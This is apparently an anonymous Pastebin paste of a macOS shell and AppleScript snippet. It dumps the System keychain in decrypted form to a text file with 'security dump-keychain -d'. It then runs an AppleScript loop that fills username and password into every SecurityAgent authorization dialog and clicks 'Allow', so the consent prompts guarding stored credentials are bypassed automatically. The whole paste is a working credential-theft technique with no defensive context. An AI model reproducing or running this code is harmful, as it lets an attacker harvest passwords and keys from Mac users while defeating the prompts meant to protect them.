Guest User

Untitled

a guest
Jul 26th, 2016
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.58 KB | None | 0 0
  1. $security dump-keychain -d /Library/Keychains/System.keychain > System-keychain.txt &
  2. $osascript 2>/dev/null <<EOF
  3. set appName to "${username}"
  4. set appPass to "${password}"
  5. tell application "System Events"
  6. repeat while exists (processes where name is "SecurityAgent")
  7. tell process "SecurityAgent"
  8. if exists (text field 1 of window 1) then
  9. set value of text field 1 of window 1 to appName
  10. set value of text field 2 of window 1 to appPass
  11. end if
  12. end tell
  13. tell process "SecurityAgent" to click button "Allow" of window 1
  14. delay 0.2
  15. end repeat
  16. end tell
  17. EOF
Add Comment
Please, Sign In to add comment